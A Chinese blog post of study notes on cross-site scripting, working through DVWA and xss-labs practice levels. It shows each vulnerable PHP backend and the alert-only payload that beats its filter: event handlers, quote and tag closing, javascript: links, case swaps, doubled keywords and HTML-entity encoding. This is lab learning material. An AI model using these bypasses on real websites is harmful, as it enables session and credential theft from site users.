XSS攻击

XSS攻击

xss全称Cross Site Scripting跨站脚本

什么是xss攻击?

一个前端的html是这样写的:

index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>testXSS</title>
</head>
<body>
<form action="index.php" method="get">
    <input type="text" name="xss_input">
    <input type="submit">
</form>
</body>
</html>

作用是提交一个表单,填写的text以xss_input句柄,使用get方法传递给后端index.php

image-20220304101719946

index.php

后端是这样写的

<?php
$xss=$_GET['xss_input'];
echo "input is ".$xss;

作用是将前端传过来的text回显

比如前端text框里写123则回显input is 123 到html页面

但是,text框里没有限定能够写啥,可以写123,也可以写abc,更可以写javascript脚本.

并且如果写入可执行的js脚本,则会被浏览器执行

比如写<script>alert("helloworld")</script>,点击submit之后

image-20220304102417523

发现js脚本运行了

如果想通过写入js脚本跳转到其他网页?

<script>window.location.href = 'http://baidu.com'</script>

点击之后会跳转到baidu.com

为什么以能够执行js脚本为标准判断是否存在xss漏洞?

或者说通过执行js脚本可以干啥?

啥都可以干.

比如存储式xss攻击中,攻击者可以在一个大家都可以看到的消息处写一个xss攻击.导致每个能够看到该位置的用户浏览器都会自动执行攻击者输入的脚本

由于<script>这中间可以写任意长的js脚本</script>,攻击者完全可以写一个脚本程序获取用户的信息,然后将信息发往自己能够接收的位置

反射型

DVWA靶场 low等级xss(Reflected)

后端代码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 

第5行只是判断了前端有没有通过get传过一个name变量来,并且name变量是否为空,没有过滤name的内容,是存在xss漏洞的

xss-labs level1

image-20220304105313051

注意"payload的长度:4",观察域名中的get请求,name=test,其中test正好长度为4,改成12345

image-20220304105501758

那么可以判定回显位置有"欢迎用户"和"payload的长度"

将name值改写为xss攻击语句

image-20220304105627683

存储型

存储型的意思是通过将不合法的输入上传到服务端数据库,使得每次打开相应页面都会遭到xss攻击

DVWA靶场low等级Xss(stored)

image-20220304103847870

这里message框里写入xss攻击代码image-20220304103927492

然后sign guestbook会立刻弹出警告框,并且可以看到表单下方已经存在了一条Name=1的记录,其Message为空

image-20220304104018510

然后更换到其他靶场再换回Xss(stored)靶场仍然会弹出该警告框,即xss攻击是持久性的,如果后端不主动删除数据库中恶意的记录,xss攻击将会永远存在

后端代码:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );//去掉字符串中的空格
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );//删除反斜杠\,注意和/区别
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
//mysqli_real_escape_string的作用是:转义字符,方便sql查询
    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    //$query向guestbook数据表中插入了一个comment=$message,name=$name的记录
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

DOM型

DVWA靶场low等级Xss(dom)

image-20220304105855810

选一个英语然后点击Select,域名行会变成:

http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English

根据反射型xss的情况,猜测default=English这里English有问题,将Englist改成xss语句

http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=<script>alert(0)</script>

image-20220304110151139

发现成功了

查看前端代码

<div class="vulnerable_code_area">
 
 		<p>Please choose a language:</p>

		<form name="XSS" method="GET">//表单使用GET方法提交
			<select name="default">//键为default
				<script>
					if (document.location.href.indexOf("default=") >= 0) {
						var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
						document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
						document.write("<option value='' disabled='disabled'>----</option>");
					}
					    
					document.write("<option value='English'>English</option>");
					document.write("<option value='French'>French</option>");
					document.write("<option value='Spanish'>Spanish</option>");
					document.write("<option value='German'>German</option>");
				</script>
			</select>
			<input type="submit" value="Select" />//通过点击Select提交
		</form>
	</div>

分析这个选择框都有什么行为?

if (document.location.href.indexOf("default=") >= 0) {
	var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
	document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
	document.write("<option value='' disabled='disabled'>----</option>");
}

document

每个载入浏览器的 HTML 文档都会成为 Document 对象。

Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问。

location

Document.location 是一个只读属性,返回一个 Location 对象,包含有文档的 URL 相关的信息,并提供了改变该 URL 和加载其他 URL 的方法。

那么document.location.href.indexOf("default=") >= 0的作用是判断url中是否存在"default="字样

如果存在则执行if语句中的逻辑:

var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);

default=正好长度为8,那么 lang就是url中default=之后的字串

substring的参数有两个,起始位置和字串长度,如果只指定起始位置,缺省子串长度,则取从起始位置到末尾的所有内容作为字串

可以认为lang取的是键值对中的值

document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");

option标签是配合select标签使用的,select表明下拉框,每一个option是下拉框中的一个选项

decodeURI的作用是将转码之后的URI再还原.

比如default=<script>alert(0)</script>转码后:default=%3Cscript%3Ealert(0)%3C/script%3E

对转码后的字符串使用decodeURI可以回到default=<script>alert(0)</script>

document.write("<option value='' disabled='disabled'>----</option>");

该条选项只能显示不能被选择(disabled),显示内容是四个横线,起分割线的作用

综上,前端的作用是显示一个选项框,当我们首次到达该页面,没有做任何选择的时候,

URL中没有default=…的字样,if条件不成立,下拉框只会顺次显示English,Franch,Spanish,German四个选项

image-20220304113015619

当我们选择某个选项比如English之后URL中就有default=English字样了

此时if判断正确,会多给两个选项,其一是URL中的值English,其二是不可选的选项分割线----,然后顺次打印刚才的四个选项

image-20220304113210079

到此前端的逻辑分析完毕

考虑dom型xss攻击和反射型xss攻击的区别?

感觉本质上相同,都是通过修改表单发生的,

不过反射型有时表单是可以随意输入text的文本框,直接输入xss攻击语句即可

dom型有时没有text文本框,并且看似只有固定的选项,不能自由输入xss攻击语句,但是通过域名行修改get表单或者抓包修改post表单仍然可以传入xss攻击语句

绕过方法

使用事件

DVWA靶场medium等级Xss(Reflected)

image-20220304114113163

发现直接将name的值改为xss语句是行不通的, 尝试将alert函数改为prompt等等其他函数也是不可以的

观察回显Hello alert(0),推测后端过滤掉了<script></script>标签,可以用dom事件处理函数执行js脚本,比如onerror

onerror的作用是某个dom组件加载失败后执行onerror句柄指向的函数,比如:

<img src=1 onerror=alert(0)>

作用是加载一张图片,其位置是1(显然是个莫须有的位置),如果发生错误则执行alert(0)

image-20220304114849511

成功绕过

查看后端代码:

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );//此处用空字符替换了<script>标签

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

发现后端确实过滤了<script>

闭合标签

xss-labs靶场level2

image-20220304151237673

直接在text框中输入<script>alert(0)</script>发现没有被执行而是整个被当作字符串打印了,

查看前端代码:

<form action=level2.php method=GET>
	<input name=keyword  value="<script>alert(0)<script>">
	<input type=submit name=submit value="搜索"/>
</form>

发现第二行value的值自动带上了双引号,我们可以办一些手续让双引号不起作用

首先这个双引号是前端带上的还是后端带上的呢?

input标签中value属性的作用是为输入框设置初始值,比如

value值带上双引号肯定是level2.php中实现的

此时我们不知道后端是如何实现的,用课程上学习的闭合标签进行忙猜

"><img src=0 onerror=alert(0)>
'><img src=0 onerror=alert(0)>

结果成功了

image-20220304153002471

接下来我们需要看一看后端干了什么,或者说怎么根据后端的吃相套路他

<?php 
	ini_set("display_errors", 0);
	$str = $_GET["keyword"];

									//注意此处这个点,作用是连接后面这一大坨(从<center>开始到</center>结束)
	echo 
        "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".
    	'<center>
			<form action=level2.php method=GET>
				<input name=keyword  value="'.$str.'">
				<input type=submit name=submit value="搜索"/>
			</form>
		</center>';
?>

根据回显"<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".

这个回显中htmlspecialchars函数起到了作用,没有在该行出现xss漏洞.

但是后面的回显<input name=keyword value="'.$str.'">这里就有问题了,直接将" '.$str.' "拼在一起来显示,自然可以办一些手续把$str从引号堆里救出来让他发挥作用

我一开始认为:

(一开始的认为并不是闭合标签)

注意最左边有个双引号,如果$str="balabala,那么这里就变成"'." balabala .'"最左侧两个双引号闭合了,单引号和点号都成了字符串,此时如果balabala中有命令就会执行了.

但是事实上没有执行

image-20220304160234889

为什么呢?

再看这句<input name=keyword value="'.$str.'">,即使把$str从引号堆里就出来,但是它仍然是input标签中的错误值(value有了'.作为值,但是$str'"是连键都没有值),不会被执行.

要把$str从标签中救出来(其实也有在标签内部的方法,level3就用到了,在level2先使用闭合标签的方法)

要把$str从标签中救出来,就需要让他前面的input标签闭合.

如果直接输入>balabala,这不会被当成闭合标签,因为>balabala仍然被引号包围.

也就是说首先要把>balabala从引号中救出来,然后把balabala从标签中救出来

这样推理,写">balabala就可以救两次了

我们写入"><script>alert(0)</script>

(这里balabala=<script>alert(0)</script>)

image-20220304160804957

成功了

闭合引号,绕过htmlspecialchars()函数

xss-labs靶场level3

在这个靶场上用尽我学过的那一丁点知识也没解出来,看了看后端代码

<?php 
	ini_set("display_errors", 0);
	$str = $_GET["keyword"];
	echo 
		"<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".
		"<center>
			<form action=level3.php method=GET>
				<input name=keyword  value='".htmlspecialchars($str)."'>	
				<input type=submit name=submit value=搜索 />
			</form>
		</center>";
?>

hjh两个回显位置都给用了htmlspecialchars函数,看来必须要和这个函数打交道了.

php手册资料

htmlspecialchars(
    string $string,
    int $flags = ENT_COMPAT | ENT_HTML401,
    string $encoding = ini_get("default_charset"),
    bool $double_encode = true
): string
执行转换
字符	替换后
& (& 符号)	&amp;
" (双引号)	&quot;,除非设置了 ENT_NOQUOTES
' (单引号)	设置了 ENT_QUOTES 后, &#039; (如果是 ENT_HTML401) ,或者 &apos; (如果是 ENT_XML1、 ENT_XHTML 或ENT_HTML5)。
< (小于)	&lt;
> (大于)	&gt;
常量名称描述
ENT_COMPAT会转换双引号,不转换单引号。
ENT_QUOTES既转换双引号也转换单引号。
ENT_NOQUOTES单/双引号都不转换
ENT_IGNORE静默丢弃无效的代码单元序列,而不是返回空字符串。 不建议使用此标记, 因为它» 可能有安全影响
ENT_SUBSTITUTE替换无效的代码单元序列为 Unicode 代替符(Replacement Character), U+FFFD (UTF-8) 或者 � (其他),而不是返回空字符串。
ENT_DISALLOWED为文档的无效代码点替换为 Unicode 代替符(Replacement Character): U+FFFD (UTF-8),或 �(其他),而不是把它们留在原处。 比如以下情况下就很有用:要保证 XML 文档嵌入额外内容时格式合法。
ENT_HTML401以 HTML 4.01 处理代码。
ENT_XML1以 XML 1 处理代码。
ENT_XHTML以 XHTML 处理代码。
ENT_HTML5以 HTML 5 处理代码。

既然不让我们用尖括号了,那么闭合标签是不可能的了,我们需要在标签内部完成事件处理

注意到缺省参数时不转化单引号,小括号,并且

在level2.php中:<input name=keyword  value="'.$str.'">
在level3.php中:<input name=keyword  value='".htmlspecialchars($str)."'>

两个value的值中引号不同,level2中双引号在外,level3中单引号在外,

这表明使用单引号做到引号闭合仍然是可行的

如果$str='onclick='alert(0)那么

<input name=keyword value='".htmlspecialchars($str)."'>就变成了

<input name=keyword value='' onclick='alert(0)'>

注意".htmlspecialchars($str).“这两边的”"是php字符串的意思,并不显示在前端.

最内引号是php字符串,最内引号是php字符串,最内层引号是php字符串

image-20220304172217019

最外层双括号是php字符串的表示,打印到前端时去掉

namekeykword
value
onclickalert(0)

那么在我们下一次点击该输入框时就会触发οnclick='alert(0)'弹窗警告

xss-labs靶场level4
<?php 
	ini_set("display_errors", 0);
	$str = $_GET["keyword"];
	$str2=str_replace(">","",$str);
	$str3=str_replace("<","",$str2);//$str3是去掉了所有简括号的$str
	echo 
		"<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".
		'<center>
			<form action=level4.php method=GET>
				<input name=keyword  value="'.$str3.'">
				<input type=submit name=submit value=搜索 />
			</form>
		</center>';
?>

我们希望在<input name=keyword value="'.$str3.'">这里做一些手续

这里$str3是输入去掉所有尖括号得到的,没有经过htmlspecialchars等函数的处理,那么通过闭合引号应该可以做到

注意到外层是双引号,内层php字符串使用的是单引号,那么我们只需要考虑闭合双引号

"onclick="alert(0)

如此前端就成了:

<input name=keyword  value=""onclick="alert(0)">

image-20220304185435035

绕过对scripton的替换

xss-labs靶场level5
<?php 
	ini_set("display_errors", 0);
	$str = strtolower($_GET["keyword"]);
	$str2=str_replace("<script","<scr_ipt",$str);
	$str3=str_replace("on","o_n",$str2);
	echo 
		"<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".	
		'<center>
			<form action=level5.php method=GET>
				<input name=keyword  value="'.$str3.'">
				<input type=submit name=submit value=搜索 />
			</form>
		</center>';
?>

这里后端的防范措施比level4中好点,

把on替换掉的作用是事件处理函数比如onclick,onmouseover等不让用了,

<script替换掉是不让用<script>balabala</script>

我一开始的思路是寻找html中有没有其他能够调用js脚本的方法

结果真的找到了,这位兄弟的博客

<a href="javascript:balabala">

在本题中由于尖括号不受限制,可以使用闭合标签,

对于<input name=keyword value="'.$str3.'">要考虑闭合引号和闭合标签

$str3="><a href="javascript:alert(0)">balabala</a

注意这里javascript中也有script但是前面没有尖括号,所以不会匹配<script这个模式

这样写的话返回前端是这样的:

<input name=keyword  value=""><a href="javascript:alert(0)">link</a">

最后面这个</a">标签是不规范的,但是竟然可以用

image-20220304191338664

但是为什么要<a href="javascript:balabala">这样写呢?href的值里面为啥要带上javascript:字样

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title >Title</title>
</head>
<body>
    <a href="alert(0)">link</a>
    <a href="javascript:alert(0)">link</a>
</body>
</html>

经过实验,第一个链接点击之后会跳转404not found页面

第二个链接点击之后会弹窗警告

为啥会这样?知乎上的回答:

image-20220304213031964

大小写绕过

修改xss-labs靶场level5

level5中$str = strtolower($_GET["keyword"]);为什么无缘无故把输入全转为小写?考虑可能是有大小写绕过

现在我们把level5.php中的$str = strtolower($_GET["keyword"]);改成$str = $_GET["keyword"];然后试验是否可以大小写绕过

<script和on都会被替换,那么<SCRIPT和ON都不会被替换

image-20220304193023051

实验证明确实有效

xss-labs靶场level6
<?php 
	ini_set("display_errors", 0);
	$str = $_GET["keyword"];
	$str2=str_replace("<script","<scr_ipt",$str);
	$str3=str_replace("on","o_n",$str2);
	$str4=str_replace("src","sr_c",$str3);
	$str5=str_replace("data","da_ta",$str4);
	$str6=str_replace("href","hr_ef",$str5);
	echo 
		"<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".
		'<center>
		<form action=level6.php method=GET>
			<input name=keyword  value="'.$str6.'">
			<input type=submit name=submit value=搜索 />
		</form>
		</center>';
?>

真是按下葫芦浮起瓢,这里把href,on,src,data,<script都替换了,但是忘了大写改小写

image-20220304193307134

双写绕过

xss-labs靶场level7
<?php 
	ini_set("display_errors", 0);
	$str =strtolower( $_GET["keyword"]);
	$str2=str_replace("script","",$str);
	$str3=str_replace("on","",$str2);
	$str4=str_replace("src","",$str3);
	$str5=str_replace("data","",$str4);
	$str6=str_replace("href","",$str5);
	echo 
		"<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".
		'<center>
		<form action=level7.php method=GET>
			<input name=keyword  value="'.$str6.'">
			<input type=submit name=submit value=搜索 />
			</form>
		</center>';
?>

这里后端吸取了前面的教训,大写改小写,替换都注意了,但是替换的方式不对,比如如果输入oonn,那么模式匹配里里面的on并替换成啥也没有,那么oonn就成了on,同理输入sscriptcript--->s(script)cript--->script.

也就是说,替换只会执行一次,不会对替换完成之后的字符串再次替换.并且恰好替换内容是啥也没有,但凡替换成一个空格也不至于双写绕过

image-20220304193752342

HTML实体绕过

xss-labs靶场level8
<?php 
	ini_set("display_errors", 0);
	$str = strtolower($_GET["keyword"]);
	$str2=str_replace("script","scr_ipt",$str);
	$str3=str_replace("on","o_n",$str2);
	$str4=str_replace("src","sr_c",$str3);
	$str5=str_replace("data","da_ta",$str4);
	$str6=str_replace("href","hr_ef",$str5);
	$str7=str_replace('"','&quot',$str6);
	echo 
        '<center>
			<form action=level8.php method=GET>
				<input name=keyword  value="'.htmlspecialchars($str).'">
				<input type=submit name=submit value=添加友情链接 />
			</form>
		</center>';
?>
<?php
 	echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

在添加友链框里输入http://baidu.com点击添加友情链接之后点击友情链接可以跳转到百度,

尝试使用"伪协议"javascript:声明使用脚本,但是后端将script替换掉了,查阅网上资料说是要用html实体绕过

在hackbar中输入javascript:alert(0)然后选中javascript高亮

image-20220304201503380

XSS下拉框中选择HTML Characters然后变成了

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(0)

把这个复制粘贴到友链框里就可以绕过替换了

image-20220304201619758

未完待续

  • 2
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

灰球球

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值